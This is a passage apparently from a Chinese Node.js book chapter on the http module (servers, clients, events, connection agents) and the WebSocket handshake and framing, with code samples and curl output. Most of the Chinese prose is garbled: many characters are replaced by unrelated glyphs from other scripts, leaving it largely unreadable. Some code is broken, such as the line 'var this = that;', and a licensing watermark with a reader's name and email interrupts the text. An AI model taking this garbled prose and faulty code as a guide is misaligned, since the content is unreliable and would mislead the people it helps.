> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 
> Host: 127.0.0.1:1337 
> Accept: */* 
>  

ኃʻ部分是服务٧端߸੆ူܪ后，Փ客ਖ਼端发ᤞֽ应内ࠓ，包括ֽ应ֽ֖ܿ应ͳ，ݟ下੝ᇧὙ 

< HTTP/1.1 200 OK 
< Content-Type: text/plain 
< Date: Sat, 06 Apr 2013 08:01:44 GMT 
< Connection: keep-alive 
< Transfer-Encoding: chunked 
<  
Hello World 

最后部分是ፆో会ព的信ো，ݟ下੝ᇧὙ 

* Connection #0 to host 127.0.0.1 left intact 
* Closing connection #0 

从上ᤗ的ઐ஠信ো中可以ᄹѢHTTP的ྱཁ，它是۲于请යֽ应य的，以一问一ኔ的ழय实

ဗ服务，ᙉཨ۲于TCP会ព，ͭ是本ᢵԁ并௃会ព的ྱཁ。 

从Өᝫ的ᝇऎ౎ឬ，ဗ在的应用，ݟเ᜾٧，Ф实是一个HTTP的̼ူ，用ਖ਼的ᛠ为࠱会᤯

过它ᣀӐ为HTTP请යઐ஠发ᤞፋ服务٧端，服务٧端在ူܪ请ය后，发ᤞֽ应ઐ஠ፋ̼ူ，̼

ူ在解ౡઐ஠后，࠱用ਖ਼ᭉ要的内ࠓյဗ在ႌ᭦上。以เ᜾٧੩开一ष图ྞڦڠ为ΒὙᯪЎ，เ

᜾٧ౝᤴHTTPઐ஠发Փ图ྞ服务٧端὚ཨ后，服务٧端ѻறઐ஠中的要请ය的࠱，ڦڠᇒᄧ中

的图ྞ஠͇以ઐ஠的्य发ᤞፋเ᜾٧὚เ᜾٧接收߸图ྞ后，ុ用ມ౿ल୲࠱Ф௬ᇧፋ用ਖ਼。

ኤᏪ言之，HTTP服务只做ˏ͇事情ὙူܪHTTP请ය֖发ᤞHTTPֽ应。 

௃᝶是HTTP请යઐ஠还是HTTPֽ应ઐ஠，ઐ஠内ࠓ都包դˏ个部分Ὑઐ஠֖ܿઐ஠ͳ。 

上஠的ઐ஠̼ᆉ中>֖<部分࡚于ઐ஠的ܿ部，由于是GET请ය，请යઐ஠中没有包դઐ஠ͳ，

ֽ应ઐ஠中的Hello WorldԀ是ઐ஠ͳ。 

7.3.2� http῵ഫ 

Node的httpഴڰ包դ对HTTPူܪ的࠯ᜈ。在Node中，HTTP服务继੽自TCP服务٧（netഴ

它能ܴ与多个客ਖ਼端γ૆ᤋ接，由于Ф᧓用事͇驱动的्य，并不为ඇ一个ᤋ接创तᮨ外，（ڰ
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的线程੊ᤈ程，γ૆很ͯ的内ߚӳ用，੝以能实ဗ高并发。HTTP服务与TCP服务ഴۋ有区Ѿ的

ழ在于，在开ըkeepalive后，一个TCP会ព可以用于多次请යֽ֖应。TCP服务以connectionڠ

为Ӭͮᤈᛠ服务，HTTP服务以request为Ӭͮᤈᛠ服务。httpഴڰԀ是࠱connection到request的

过程ᤈᛠ了࠯ᜈ，ᇧ਒图ݟ图7-3੝ᇧ。 

 

图7-3 httpഴ࠱ڰconnection到request的过程ᤈᛠ了࠯ᜈ 

ᬓ൤之外，httpഴ࠱ڰᤋ接੝用ݒ接ߙ的读写ઙ៵为ServerRequest֖ServerResponse对៵，

它们分Ѿ对应请යֽ֖应ୱ作。在请ය产生的过程中，httpഴૅڰ到ᤋ接中͛౎的数૵，ុ用̃

ᤈ҃ഴڰhttp_parserᤈᛠ解ౡ，在解ౡ߸请යઐ஠的ઐܿ后，触发request事͇，ុ用用ਖ਼的ˉ

务᤾ᣣ。ឞึ程的ᇧ਒图ݟ图7-4੝ᇧ。 

 
图7-4 httpഴڰ产生请ය的ึ程 

图7-4中的ူܪ程序对应到ᇧΒ中的̼ᆉ就是ֽ应Hello World这部分，̼ᆉݟ下Ὑ 

function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('Hello World\n'); 
} 
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1. HTTP䇋∖ 
对于TCPᤋ接的读ୱ作，httpഴ࠱ڰФ࠯ᜈ为ServerRequest对៵。ᝧ我们в次ಉᄹ前᭦的请

යઐ஠，ઐ஠ܿ部࠱会᤯过http_parserᤈᛠ解ౡ。请යઐ஠的̼ᆉݟ下੝ᇧὙ 

> GET / HTTP/1.1 
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5 
> Host: 127.0.0.1:1337 
> Accept: */* 
>  

ઐ஠ܿኃ一ᛠGET / HTTP/1.1ᜁ解ౡ之后分解为ݟ下࡚性。 

� req.method࡚性ὙϘ为GET，是为请යழก，࣡᜸的请යழก有GET、POST、DELETE、PUT、

CONNECTኍ几ሗ。 

� req.url࡚性ὙϘ为/。 

� req.httpVersion࡚性ὙϘ为1.1。 

Ф余ઐܿ是很᜺।的Key: Valueಪय，ᜁ解ౡ后உᎵ在req.headers࡚性上͛ᤫፋˉ务᤾ᣣ以

Θុ用，ݟ下੝ᇧὙ 

  headers:  
  { 'user-agent': 'curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5', 
    host: '127.0.0.1:1337', 
    accept: '*/*' }, 

ઐ஠ͳ部分Ѷઙ៵为一个只读ึ对៵，ݟ౦ˉ务᤾ᣣᭉ要读Ԩઐ஠ͳ中的数૵，Ѷ要在这个

数૵ึፆో后才能ᤈᛠୱ作，ݟ下੝ᇧὙ 

function (req, res) { 
  // console.log(req.headers); 
  var buffers = []; 
  req.on('data', function (trunk) { 
    buffers.push(trunk); 
  }).on('end', function () { 
    var buffer = Buffer.concat(buffers); 
    // TODO 
    res.end('Hello world'); 
  }); 
} 

HTTP请ය对៵֖HTTPֽ应对៵是相对ᣖऄࡎ的࠯ᜈ，ဗᛠ的Webಳ౵ݟConnect֖Express

都是在这ˏ个对៵的۲ᆨ上ᤈᛠ高࠯ࡎᜈ߸੆的。 

2. HTTPડᑨ 
в౎ᄹᄹHTTPֽ应对៵。HTTPֽ应相对ኤӬ一些，它࠯ᜈ了对ऄࡎᤋ接的写ୱ作，可以࠱

Ф ᄹ ੆ 一 个 可 写 的 ึ 对 ៵ 。 它 ॕ ֽ ֽ 应 ઐ ஠ ܿ 部 信 ো 的 API 为 res.setHeader() ֖ res. 

writeHead()。在上ᤗᇧΒ中Ὑ 

res.writeHead(200, {'Content-Type': 'text/plain'}); 

Ф分为setHeader()֖writeHead()ˏ个൥ᰠ。它在httpഴڰ的࠯ᜈ下，实ᬄ生੆ݟ下ઐ஠Ὑ 
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< HTTP/1.1 200 OK 
< Content-Type: text/plain 

我们可以ុ用setHeaderᤈᛠ多次᝹Ꮅ，ͭ只有ុ用writeHead后，ઐܿ才会写入到ᤋ接中。

ᬓ൤之外，httpഴڰ会自动ࣞ你᝹Ꮅ一些ܿ信ো，ݟ下੝ᇧὙ 

< Date: Sat, 06 Apr 2013 08:01:44 GMT 
< Connection: keep-alive 
< Transfer-Encoding: chunked 
<  

ઐ஠ͳ部分Ѷ是ុ用res.write()֖res.end()ழก实ဗ，后者与前者的ࢿѾ在于res.end()会

Ўុ用write()发ᤞ数૵，ཨ后发ᤞ信Ձնᅻ服务٧这次ֽ应ፆో，ֽ应ፆ౦ݟ下੝ᇧὙ 

Hello World 

ֽ应ፆో后，HTTP服务٧可能会ॆ࠱前的ᤋ接用于下一个请ය，੊者关᫆ᤋ接。Ϙ३ซ਒

的是，ઐܿ是在ઐ஠ͳ发ᤞ前发ᤞ的，一ெ开始了数૵的发ᤞ，writeHead()֖setHeader()࠱不

в生஌。这由Өᝫ的ྱ性决定。 

Բ外，௃᝶服务٧端在ူܪˉ务᤾ᣣ时是否发生ऩ࣡，务ॸ在ፆో时ុ用res.end()ፆో请

ය，否Ѷ客ਖ਼端࠱一ᄯܪ于ኍय़的࿃খ。ॆཨ，也可以᤯过ढᤌres.end()的ழय实ဗ客ਖ਼端与

服务٧端之ᫍ的᫁ᤋ接，ͭፆో时ҫॸС᫆ᤋଋ。 

3. HTTP᳡ࡵⱘџӊ 
的是，服ۋ使用，Վ样ЦࡎՎTCP服务一样，HTTP服务٧也ઙ៵了一些事͇，以Θ应用ݟ

务٧也是一个EventEmitter实Β。 

� connection事͇Ὑ在开始HTTP请යֽ֖应前，客ਖ਼端与服务٧端ᭉ要त立ऄࡎ的TCPᤋ

接，这个ᤋ接可能因为开ը了keep-alive，可以在多次请යֽ应之ᫍ使用὚ॆ这个ᤋ接त

立时，服务٧触发一次connection事͇。 

� request事͇Ὑत立TCPᤋ接后，httpഴڰऄ࠱ࡎ在数૵ึ中ઙ៵ѢHTTP请ය֖HTTPֽ

应，ॆ 请ය数૵发ᤞ到服务٧端，在解ౡѢHTTP请යܿ后，࠱会触发ឞ事͇὚在res.end()

后，TCPᤋ接可能࠱用于下一次请යֽ应。 

� close事͇Ὑ与TCP服务٧的ᛠ为一ᒰ，ុ用server.close()ழกϢൢ接ԩ新的ᤋ接，ॆ已

有的ᤋ接都ற开时，触发ឞ事͇὚可以ፋserver.close()͛ᤫ一个ុٿѥ数౎ঋᤳซбឞ

事͇。 

� checkContinue事͇Ὑ౼些客ਖ਼端在发ᤞᣖ大的数૵时，并不会࠱数૵ᄯ接发ᤞ，Ꮺ是Ў

发ᤞ一个ܿ部ࣛExpect: 100-continue的请ය到服务٧，服务࠱٧会触发checkContinue

事͇὚ݟ౦没有为服务٧ᄢե这个事͇，服务࠱٧会自动ֽ应客ਖ਼端100 Continue的࿃খ

ᆉ，ᛪᇧ接ԩ数૵上͛὚ݟ౦不接ԩ数૵的ᣖ多时，ֽ应客ਖ਼端400 Bad Requestધ绝客

ਖ਼端继续发ᤞ数૵Ԁ可。ᭉ要ซ਒的是，ॆឞ事͇发生时不会触发request事͇，ˏ个事

͇之ᫍ̈஭。ॆ客ਖ਼端收到100 Continue后᧗新发起请ය时，才会触发request事͇。 

� connect事͇Ὑॆ客ਖ਼端发起CONNECT请ය时触发，Ꮺ发起CONNECT请ය᤯࣡在HTTP̼ူ时

Ѣဗ὚ݟ౦不ᄢեឞ事͇，发起ឞ请ය的ᤋ接࠱会关᫆。 
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� upgrade事͇Ὑॆ客ਖ਼端要යӣጞᤋ接的Өᝫ时，ᭉ要֖服务٧端Ө׷，客ਖ਼端会在请ය

ܿ中ࣛ上Upgradeߙൿ，服务٧端会在接收到这样的请ය时触发ឞ事͇。这在后஠的

WebSocket部分有សጹึ程的̭ፀ。ݟ౦不ᄢեឞ事͇，发起ឞ请ය的ᤋ接࠱会关᫆。 

� clientError事͇Ὑᤋ接的客ਖ਼端触发error事͇时，这个ᩱឧ会͛ᤫ到服务٧端，൤时触

发ឞ事͇。 

7.3.3� HTTPᅶ᠋ッ 

在对服务٧端的实ဗᤈᛠ了ଠᤗ后，HTTP客ਖ਼端的ԓူ几˪不用вଠᤗ，因为它就是服务

٧端服务ഴۋ的Բ一部分，ܪ于HTTP的Բ一端，在ஞ个ઐ஠的ԟ与中，ઐ஠֖ܿઐ஠ͳ由它产

生。Վ时httpഴڰଡΘ了一个ऄࡎAPIὙhttp.request(options, connect)，用于ౝᤴHTTP客ਖ਼端。 

下᭦的ᇧΒ与上஠的curl̽֐大ᒰ相ՎὙ 

var options = { 
  hostname: '127.0.0.1', 
  port: 1334, 
  path: '/', 
  method: 'GET' 
}; 
 
var req = http.request(options, function(res) { 
  console.log('STATUS: ' + res.statusCode); 
  console.log('HEADERS: ' + JSON.stringify(res.headers)); 
  res.setEncoding('utf8'); 
  res.on('data', function (chunk) { 
    console.log(chunk); 
  }); 
}); 
 
req.end(); 

੯ᛠ上ᤗ̼ᆉ३到以下ᣤѢὙ 

$ node client.js  
STATUS: 200 
HEADERS: {"date":"Sat, 06 Apr 2013 11:08:01 
GMT","connection":"keep-alive","transfer-encoding":"chunked"} 
Hello World 

Ф中optionsԟ数决定了这个HTTP请යܿ中的内ࠓ，它的ᤤᮉ有ݟ下这些。 

� hostὙ服务٧的۪Տ੊IPڦڠ，᳭认为localhost。 

� hostnameὙ服务٧Տሥ。 

� portὙ服务٧端ԯ，᳭认为80。 

� localAddressὙत立网ፎᤋ接的本ڠ网Ӵ。 

� socketPathὙDomainݒ接ߙᡸफ़。 

� methodὙHTTP请යழก，᳭认为GET。 

� pathὙ请යᡸफ़，᳭认为/。 
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� headersὙ请යܿ对៵。 

� authὙBasic认᝼，这个Ϙ࠱ᜁ᝟ኪ੆请යܿ中的Authorization部分。 

ઐ஠ͳ的内ࠓ由请ය对៵的write()֖end()ழก实ဗὙ᤯过write()ழกՓᤋ接中写入数૵，

᤯过end()ழกնᅻઐ஠ፆో。它与เ᜾٧中的Ajaxុ用几ᤂ相Վ，Ajax的实质就是一个ऩ൥的

网ፎHTTP请ය。 

1. HTTPડᑨ 
HTTP客ਖ਼端的ֽ应对៵与服务٧端ᣖ为ዜͪ，在ClientRequest对៵中，它的事͇Զ做

response。ClientRequest在解ౡֽ应ઐ஠时，一解ౡ߸ֽ应ܿ就触发response事͇，Վ时͛ᤫ一

个ֽ应对៵以Θୱ作ClientResponse。后续ֽ应ઐ஠ͳ以只读ึ的ழयଡΘ，ݟ下੝ᇧὙ 

function(res) { 
  console.log('STATUS: ' + res.statusCode); 
  console.log('HEADERS: ' + JSON.stringify(res.headers)); 
  res.setEncoding('utf8'); 
  res.on('data', function (chunk) { 
    console.log(chunk); 
  }); 
} 

由于从ֽ应读Ԩ数૵与服务٧端ServerRequest读Ԩ数૵的ᛠ为ᣖ为ዜͪ，൤ܪ不вᠻᤗ。 

2. HTTP ҷ⧚ 
实ဗ的，在ࡎՎ服务٧端的实ဗ一ᓉ，httpଡΘ的ClientRequest对៵也是۲于TCPݟ

keepalive的情х下，一个ऄࡎ会ពᤋ接可以多次用于请ය。为了᧗用TCPᤋ接，httpഴڰ包դ一

个᳭认的客ਖ਼端̼ူ对៵http.globalAgent。它对ඇ个服务٧端（host + port）创त的ᤋ接ᤈᛠ了

管ူ，᳭认情х下，᤯过ClientRequest对៵对Վ一个服务٧端发起的HTTP请ය最多可以创त5

个ᤋ接。它的实质是一个ᤋ接෈，ᇧ਒图ݟ图7-5੝ᇧ。 

 

图7-5 HTTP̼ူ对服务٧端创त的ᤋ接ᤈᛠ管ူ 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

郑定明

郑定明

郑定明

郑定明

郑定明



7.4� ౝत WebSocket నҫ� � 163 

 

1 

2 

3 

4 

5 

11 

6 

7 

8 

9 

10 

ុ用HTTP客ਖ਼端Վ时对一个服务٧发起10次HTTP请ය时，Ф实质只有5个请යܪ于并发࿃

খ，后续的请යᭉ要ኍय़౼个请ය߸੆服务后才ᄽൣ发Ѣ。这与เ᜾٧对Վ一个۪Տ有下ᣑᤋ接

数的ᬌ҃是相Վ的ᛠ为。 

౦你在服务٧端᤯过ClientRequestុ用网ፎ中的Ф他HTTP服务，᝭३关ซ̼ူ对៵对网ݟ

ፎ请ය的ᬌ҃。一ெ请ය量过大，ᤋ接ᬌ҃࠱会ᬌ҃服务性能。ݟᭉ要இԪ，可以在options中

͛ᤫagentᤤᮉ。᳭认情х下，请ය会᧓用Кࡌ的̼ူ对៵，᳭认ᤋ接数ᬌ҃的为5。 

我们௄可以自ᛠౝᤴ̼ူ对៵，̼ᆉݟ下Ὑ 

var agent = new http.Agent({ 
  maxSockets: 10 
}); 
var options = { 
  hostname: '127.0.0.1', 
  port: 1334, 
  path: '/', 
  method: 'GET', 
  agent: agent 
}; 

也可以᝹Ꮅagentᤤᮉ为falseϘ，以ᑱሎᤋ接෈的管ူ，使३请ය不ԩ并发的ᬌ҃。 

Agent对៵的sockets֖requests࡚性分Ѿᛪᇧॆ前ᤋ接෈中使用中的ᤋ接数֖ܪ于ኍय़࿃খ

的请ය数，在ˉ务中ᄢ᜼这ˏ个Ϙ有ү于发ဗˉ务࿃খ的ጒ঄程ऎ。 

3. HTTPᅶ᠋ッџӊ 
与服务٧端对应的，HTTP客ਖ਼端也有相应的事͇。 

� responseὙ与服务٧端的request事͇对应的客ਖ਼端在请ය发Ѣ后३到服务٧端ֽ应时，

会触发ឞ事͇。 

� socketὙॆऄࡎᤋ接෈中त立的ᤋ接分ᦠፋॆ前请ය对៵时，触发ឞ事͇。 

� connectὙॆ客ਖ਼端Փ服务٧端发起CONNECT请ය时，ݟ౦服务٧端ֽ应了200࿃খᆉ，客

ਖ਼端࠱会触发ឞ事͇。 

� upgradeὙ客ਖ਼端Փ服务٧端发起Upgrade请ය时，ݟ౦服务٧端ֽ应了101 Switching 

Protocols࿃খ，客ਖ਼端࠱会触发ឞ事͇。 

� continueὙ客ਖ਼端Փ服务٧端发起Expect: 100-continueܿ信ো，以试图发ᤞᣖ大数૵量，

 。触发ឞ事͇࠱౦服务٧端ֽ应100 Continue࿃খ，客ਖ਼端ݟ

7.4� ᵘᓎ WebSocket ᳡ࡵ 

ଡ到Node，不能ᩱ过的是WebSocketӨᝫ。它与Node之ᫍ的ᦠՋ܁ሥ߸Ꮎ，Фူ由有ˏ్。 

� WebSocket客ਖ਼端۲于事͇的编程ഴۋ与Node中自定˦事͇相ࢿ௃几。 

� WebSocket实ဗ了客ਖ਼端与服务٧端之ᫍ的᫁ᤋ接，ᏪNode事͇驱动的ழयӠ分୰᫁与大

量的客ਖ਼端γ૆高并发ᤋ接。 

ᬓ൤之外，WebSocket与͛统HTTP有ݟ下好ܪ。 
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� 客ਖ਼端与服务٧端只त立一个TCPᤋ接，可以使用ఝ࠵的ᤋ接。 

� WebSocket服务٧端可以推ᤞ数૵到客ਖ਼端，这ᤉඊHTTP请යֽ应ഴयఝ灵活、ఝ高஌。 

� 有ఝᣏ量ጞ的Өᝫܿ，ђ࠵数૵͛ᤞ量。 

WebSocket最௉是作为HTML5᧗要ྱ性ᏪѢဗ的，最ጻ在W3C֖IETF的推动下，्੆RFC 

6455᜺ᔴ。ဗ̼เ᜾٧大多都ஂ૆WebSocketӨᝫ，接下౎我们用一ൿ̼ᆉ౎ࡘဗWebSocket在客

ਖ਼端的应用ᇧΒὙ 

var socket = new WebSocket('ws://127.0.0.1:12010/updates'); 
socket.onopen = function () { 
  setInterval(function() { 
    if (socket.bufferedAmount == 0) 
      socket.send(getUpdateData()); 
  }, 50); 
}; 
socket.onmessage = function (event) { 
  // TODO：event.data 
}; 

上ᤗ̼ᆉ中，เ᜾٧与服务٧端创तWebSocketӨᝫ请ය，在请ය߸੆后ᤋ接੩开，ඇ50ඒ

ሙՓ服务٧端发ᤞ一次数૵，Վ时可以᤯过onmessage()ழก接收服务٧端͛౎的数૵。这ᛠ为

与TCP客ਖ਼端Ӡ分相ͪ，相ᣖ于HTTP，它能ܴԤՓ᤯信。เ᜾٧一ெ能ܴ使用WebSocket，可以

想៵应用的使用ቆᫍ极大。 

在WebSocket之前，网页客ਖ਼端与服务٧端ᤈᛠ᤯信最高஌的是Comet技术。实ဗComet技术

的ጹᓫ是᧓用᫁ᣂល（long-polling）੊iframeึ。᫁ᣂល的ԓူ是客ਖ਼端Փ服务٧端发起请ය，

服务٧端只在ᡓ时੊有数૵ֽ应时ற开ᤋ接（res.end()）὚客ਖ਼端在收到数૵੊者ᡓ时后᧗新发

起请ය。这个请යᛠ为પ着᫁᫁的ࣄࡊ，是஋用Comet（ॉ௠）౎֐Տ它。 

使用WebSocket的ព，网页客ਖ਼端只ᭉ一个TCPᤋ接Ԁ可߸੆ԤՓ᤯信，在服务٧端与客ਖ਼

端ᮟጒ᤯信时，௃ᮋᮟጒற开ᤋ接֖᧗发请ය。ᤋ接可以३到高஌应用，编程ഴۋ也Ӡ分ኤผ。 

前஠也੊多੊࠵ଡ到了WebSocket与HTTP的区Ѿ，相ඊHTTP，WebSocketఝ接ᤂ于͛ᣤࡎӨ

ᝫ，它并没有在HTTP的۲ᆨ上ഴ઱服务٧端的推ᤞ，Ꮺ是在TCP上定˦࿗立的Өᝫ。ᝧ人ᤙ৴

的部分在于WebSocket的ଦ੣部分是由HTTP߸੆的，使人᜿३它可能是۲于HTTP实ဗ的。 

WebSocketӨᝫ˞要分为ˏ个部分Ὑଦ੣֖数૵͛ᣤ。下᭦我们౎សጹឬ一ឬ这ˏ个部分。 

7.4.1� WebSocketᦵ᠟ 

客ਖ਼端त立ᤋ接时，᤯过HTTP发起请යઐ஠，ݟ下੝ᇧὙ 

GET /chat HTTP/1.1 
Host: server.example.com 
Upgrade: websocket 
Connection: Upgrade 
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== 
Sec-WebSocket-Protocol: chat, superchat 
Sec-WebSocket-Version: 13 
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与௾᤯的HTTP请යӨᝫ႔有区Ѿ的部分在于ݟ下这些ӨᝫܿὙ 

Upgrade: websocket 
Connection: Upgrade 

上ᤗˏ个ߙൿᛪᇧ请ය服务٧端ӣጞӨᝫ为WebSocket。Ф中Sec-WebSocket-Key用于߶К 

ಢᰍὙ 

Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== 

Sec-WebSocket-Key的Ϙ是ᬣ机生੆的Base64编ᆉ的ߙቿ˘。服务٧端接收到之后࠱Ф与ߙቿ

˘258EAFA5-E914-47DA-95CA-C5AB0DC85B11相ᤋ，्੆ߙቿ˘dGhlIHNhbXBsZSBub25jZQ==258EAFA5- 

E914-47DA-95CA-C5AB0DC85B11，ཨ后᤯过sha1߶К஘Ѵኪก᝟ኪѢፆ౦后，вᤈᛠBase64编ᆉ，

最后ᤄٿፋ客ਖ਼端。这个ኪกݟ下੝ᇧὙ 

var crypto = require('crypto'); 
var val = crypto.createHash('sha1').update(key).digest('base64'); 

Բ外，下᭦ˏ个ߙൿૈ定ߔӨᝫ֖ྟ本ՁὙ 

Sec-WebSocket-Protocol: chat, superchat 
Sec-WebSocket-Version: 13 

服务٧端在ူܪ߸请ය后，ֽ应ݟ下ઐ஠Ὑ 

HTTP/1.1 101 Switching Protocols 
Upgrade: websocket 
Connection: Upgrade 
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= 
Sec-WebSocket-Protocol: chat 

上᭦的ઐ஠ն之客ਖ਼端ൣ在ఝ૰Өᝫ，ఝ新应用ࡎӨᝫ为WebSocketӨᝫ，并在ॆ前的ݒ接

ቿ˘֖ᤤ中ߙൿ分Ѿᛪᇧ服务٧端۲于Sec-WebSocket-Key生੆的ߙᤋ接上应用新Өᝫ。қ余的ߙ

的ߔӨᝫ。客ਖ਼端࠱会ಢᰍSec-WebSocket-Accept的Ϙ，ݟ౦੆ҩ，࠱开始接下౎的数૵͛ᣤ。 

这᧖我们用Nodeഴ઱เ᜾٧发起ӨᝫѬ૰的ᛠ为，̼ᆉݟ下Ὑ 

var WebSocket = function (url) { 
  // ࿁代码ǈ解析ws://127.0.0.1:12010/updatesǈ用ᇀ请求 
  this.options = parseUrl(url); 
  this.connect(); 
}; 
WebSocket.prototype.onopen = function () { 
  // TODO 
}; 
 
WebSocket.prototype.setSocket = function (socket) { 
  this.socket = socket; 
}; 
 
WebSocket.prototype.connect = function () { 
  var this = that; 
  var key = new Buffer(this.options.protocolVersion + '-' + Date.now()).toString('base64'); 
  var shasum = crypto.createHash('sha1'); 
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  var expected = shasum.update(key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11').digest('base64'); 
 
  var options = { 
    port: this.options.port, // 12010 
    host: this.options.hostname, // 127.0.0.1 
    headers: { 
      'Connection': 'Upgrade', 
      'Upgrade': 'websocket', 
      'Sec-WebSocket-Version': this.options.protocolVersion, 
      'Sec-WebSocket-Key': key 
    } 
  }; 
  var req = http.request(options); 
  req.end(); 
 
  req.on('upgrade', function(res, socket, upgradeHead) { 
    // ૶接成功 
    that.setSocket(socket); 
 发open事件ة //    
    that.onopen(); 
  }); 
}; 

下᭦是服务٧端的ֽ应ᛠ为Ὑ 

var server = http.createServer(function (req, res) { 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('Hello World\n'); 
}); 
server.listen(12010); 
 
// 在收ڟupgrade请求ࢫǈߢኮ客户端ሎႹൎ换ၹᅱ 
server.on('upgrade', function (req, socket, upgradeHead) { 
  var head = new Buffer(upgradeHead.length); 
  upgradeHead.copy(head);  
  var key = req.headers['sec-websocket-key']; 
  var shasum = crypto.createHash('sha1'); 
  key = shasum.update(key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").digest('base64'); 
  var headers = [ 
    'HTTP/1.1 101 Switching Protocols', 
    'Upgrade: websocket', 
    'Connection: Upgrade', 
    'Sec-WebSocket-Accept: ' + key, 
    'Sec-WebSocket-Protocol: ' + protocol 
  ]; 
  // ඟ数据૬न发ໃ 
  socket.setNoDelay(true); 
  socket.write(headers.concat('', '').join('\r\n')); 
  // 建૬服务器端WebSocket૶接 
  var websocket = new WebSocket(); 
  websocket.setSocket(socket); 
}); 

一ெWebSocketଦ੣੆ҩ，服务٧端与客ਖ਼端࠱会յဗ对ኍ的஌౦，都能接收֖发ᤞ๖ো。 
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7.4.2� WebSocket᭄᥂Ӵ䕧 

在ଦ੣ᮊѽ߸੆后，ॆ前ᤋ接࠱不вᤈᛠHTTP的̓̈，Ꮺ是开始WebSocket的数૵ࣜӨᝫ，

实ဗ客ਖ਼端与服务٧端的数૵̓૰。图7-6为Өᝫӣጞ过程ᇧ਒图。 

 

图7-6 Өᝫӣጞ过程ᇧ਒图 

ଦ੣߸੆后，客ਖ਼端的onopen()࠱会ᜁ触发੯ᛠ，̼ᆉݟ下Ὑ 

socket.onopen = function () { 
  // TODO: opened() 
}; 

服务٧端Ѷ没有onopen()ழก可言。为了߸੆TCPݒ接ߙ事͇到WebSocket事͇的࠯ᜈ，ᭉ要

在接收数૵时ᤈᛠူܪ，WebSocket的数૵ࣜӨᝫԀ是在ऄࡎdata事͇上࠯ᜈ߸੆的，̼ᆉݟ下Ὑ 

WebSocket.prototype.setSocket = function (socket) { 
  this.socket = socket; 
  this.socket.on('data', this.receiver); 
}; 

Վ样的数૵发ᤞ时，也ᭉ要做࠯ᜈୱ作，̼ᆉݟ下Ὑ 

WebSocket.prototype.send = function (data) { 
  this._send(data); 
}; 

ॆ客ਖ਼端ុ用send()发ᤞ数૵时，服务٧端触发onmessage()὚ॆ服务٧端ុ用send()发ᤞ数

૵时，客ਖ਼端的onmessage()触发。ॆ我们ុ用send()发ᤞ一్数૵时，Өᝫ可能࠱这个数૵࠯ᜈ

为一ࣜ੊多ࣜ数૵，ཨ后ᤩࣜ发ᤞ。 

为了߶КᏥᘼ，客ਖ਼端ᭉ要对发ᤞ的数૵ࣜᤈᛠ଎ᆉူܪ，服务٧一ெ收到௃଎ᆉࣜ（ඊݟ

中ᫍવ੔ᆠڭ），ᤋ接࠱关᫆。Ꮺ服务٧发ᤞ到客ਖ਼端的数૵ࣜѶ௃ᮋ做଎ᆉူܪ，Վ样，ݟ౦
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客ਖ਼端收到ࣛ଎ᆉ的数૵ࣜ，ᤋ接也࠱关᫆。 

我们以客ਖ਼端发ᤞhello world!到服务٧端，服务٧端ٿ以yakexi作为一个ึ程౎研ቂ数૵

ࣜӨᝫ的实ဗ过程。 

图7-7中为WebSocket数૵ࣜ的定˦，ඇ8ͮ为一Ѵ，也Ԁ1个ߙᓫ。Ф中ඇ一ͮ都有它的

਒˦。 

 
图7-7 WebSocket 数૵ࣜ的定˦ 

� finὙݟ౦这个数૵ࣜ是最后一ࣜ，这个finͮ为1，Ф余情х为0。ॆ一个数૵没有ᜁ分为

多ࣜ时，它௄是ኃ一ࣜ也是最后一ࣜ。 

� rsv1、rsv2、rsv3ὙՉ为1ͮ᫁，3个ಕ识用于ੰࡘ，ॆ有已Ө׷的ੰࡘ时，这些Ϙ可能为

1，Ф余情х为0。 

� opcodeὙ᫁为4ͮ的ୱ作ᆉ，可以用౎ᛪᇧ0到15的Ϙ，用于解᧕ॆ前数૵ࣜ。0ᛪᇧᬃ加

数૵ࣜ，1ᛪᇧ஠本数૵ࣜ，2ᛪᇧ̃ᤈ҃数૵ࣜ，8ᛪᇧ发ᤞ一个ᤋ接关᫆的数૵ࣜ，9

ᛪᇧping数૵ࣜ，10ᛪᇧpong数૵ࣜ，Ф余Ϙఆ时没有定˦。ping数૵֖ࣜpong数૵ࣜ用

于心᡹೜测，ॆ一端发ᤞping数૵ࣜ时，Բ一端ॸᮋ发ᤞpong数૵ࣜ作为ֽ应，նᅻ对ழ

这一端̮ཨܪ于ֽ应࿃খ。 

� maskedὙᛪᇧ是否ᤈᛠ଎ᆉူܪ，᫁ऎ为1。客ਖ਼端发ᤞፋ服务٧端时为1，服务٧端发ᤞ

ፋ客ਖ਼端时为0。 

� payload lengthὙ一个7、7+16੊7+64ͮ᫁的数૵ͮ，ಕ识数૵的᫁ऎ，ݟ౦Ϙ在0~125

之ᫍ，ᥦ˥ឞϘ就是数૵的ᄽ实᫁ऎ὚ݟ౦Ϙ是126，Ѷ后᭦16ͮ的Ϙ是数૵的ᄽ实᫁ऎ὚

 。౦Ϙ是127，Ѷ后᭦64ͮ的Ϙ是数૵的ᄽ实᫁ऎݟ

� masking keyὙॆmasked为1时ߚ在，是一个32ͮ᫁的数૵ͮ，用于解ࠚ数૵。 

� payload dataὙ我们的目ಕ数૵，ͮ数为8的υ数。 

客ਖ਼端发ᤞ๖ো时，ᭉ要ౝᤴ一个੊多个数૵ࣜӨᝫઐ஠。由于hello world!ᣖᆀ，不ߚ在

分Ҟ为多个数૵ࣜ的情х，Ԡ由于hello world!会以஠本的ழय发ᤞ，它的payload length᫁ऎ

为96（12ߙᓫf8ͮ/ߙᓫ），̃ᤈ҃ᛪᇧ为1100000。੝以ઐ஠应ॆݟ下Ὑ 

fin(1) + res(000) + opcode(0001) + masked(1) + payload length(1100000) + masking key(32位) + payload 
    data(hello world!加密ࢫ的ܾ进制)  
